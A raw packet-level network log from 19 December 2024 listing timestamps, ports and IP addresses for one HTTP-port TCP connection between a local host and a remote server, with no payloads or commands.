Dec 19, 2024 07:57:19.937587976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.938291073 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.938359976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.956664085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.956756115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.956868887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.957046032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.957173109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.957341909 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.957906008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.957968950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.958014965 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.958875895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.958942890 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.025171041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.025191069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.025204897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.025218010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.025248051 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.025260925 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.025269985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.025332928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.026020050 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.026077032 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.090872049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.090984106 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.091025114 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.091141939 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.091177940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.091197968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.091249943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.091296911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.091928959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.091981888 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.092044115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.092086077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.092823982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.092878103 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.092906952 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.092983961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.093682051 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.093734026 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.093781948 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.093826056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.094548941 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.094598055 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.094672918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.094719887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.095396042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.095446110 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.095503092 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.095554113 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.096296072 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.096343994 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.096405029 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.096452951 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.097182035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.097230911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.097301006 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.097348928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.098057032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.098103046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.098165989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.098215103 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.099090099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.099139929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.099203110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.099251986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.099877119 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.099926949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.099930048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.099972010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.100681067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.100729942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.100811005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.100857973 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.101501942 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.101558924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.101598024 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.101644993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.102376938 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.102425098 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.102428913 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.102478981 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.103271961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.103322029 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.103382111 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.103425026 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.104192972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.104252100 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.104284048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.104358912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.104989052 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.105037928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.105110884 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.105158091 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.105902910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.105962992 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.106036901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.106693029 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.106751919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.106848955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.106873035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.106894016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.107594967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.107726097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.107786894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.108474970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.108583927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.108642101 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.109324932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.109385967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.109412909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.109458923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.110246897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.110291004 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.110321999 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.110368967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.111082077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.111126900 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.111179113 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.111222029 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.111943007 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.112035036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.112055063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.112092972 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.112812042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.112874985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.112927914 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.112968922 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.113744020 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.113838911 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.113898993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.114586115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.114630938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.114712000 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.115279913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.115438938 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.115502119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.115539074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.115576982 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.116343975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.116449118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.116455078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.116507053 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.117197990 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.117243052 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.117300034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.117348909 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.118076086 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.118118048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.118182898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.118222952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.118949890 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.118992090 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.119046926 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.119085073 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.119824886 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.119868994 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.119952917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.119995117 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.120678902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.120721102 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.120785952 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.120831013 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.121575117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.121627092 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.148405075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.148497105 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.195878983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.316072941 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.633352995 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.633372068 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.633476973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.633501053 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.633595943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.633711100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.633774042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.634481907 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.634574890 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.634583950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.634637117 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.635330915 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.635385990 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.635411024 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.635457039 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.636293888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.636328936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.636373997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.636414051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.637108088 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.637142897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.637191057 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.637223005 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.637878895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.637944937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.637984037 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.638050079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.638789892 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.638845921 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.638864040 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.638904095 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.639651060 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.639715910 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.639719009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.639775991 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.640481949 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.640546083 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.640597105 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.640655041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.641320944 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.641390085 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.641444921 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.641503096 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.642214060 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.642277956 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.642360926 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.642421961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.643074036 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.643142939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.643229008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.643289089 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.644035101 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.644118071 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.644165993 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.644227982 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.644944906 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.644979954 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.645013094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.645042896 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.645687103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.645749092 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.645895958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.645970106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.646589041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.646671057 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.646881104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.646950006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.647466898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.647533894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.647586107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.647650003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.648355961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.648421049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.648428917 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.648488045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.649260998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.649336100 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.649348974 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.649414062 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.650166988 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.650201082 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.650239944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.650271893 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.650980949 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.651057005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.651061058 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.651124001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.651916981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.651952028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.651987076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.652019024 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.652704000 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.652781010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.652852058 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.653017044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.653681040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.653745890 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.653829098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.653887033 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.654587984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.654623032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.654652119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.654686928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.655380011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.655445099 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.655445099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.655499935 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.656229019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.656302929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.656373024 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.656429052 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.657078981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.657144070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.657212973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.657272100 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.658055067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.658088923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.658119917 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.658152103 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.658837080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.658898115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.659037113 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.659092903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.659706116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.659778118 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.659889936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.659946918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.660590887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.660670042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.660736084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.660799980 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.661699057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.661731958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.661783934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.661818981 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.662493944 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.662563086 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.662607908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.662663937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.663269043 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.663355112 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.663388014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.663444042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.664174080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.664238930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.664268017 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.664320946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.665165901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.665236950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.665326118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.665390968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.666047096 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.666126013 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.666171074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.666234970 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.666851997 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.666922092 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.666990042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.667052031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.667607069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.667661905 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.667675972 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.667721033 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.668399096 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.668464899 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.668534040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.668595076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.669341087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.669373989 CET	80	49759	185.215.113.206	192.168.2.4
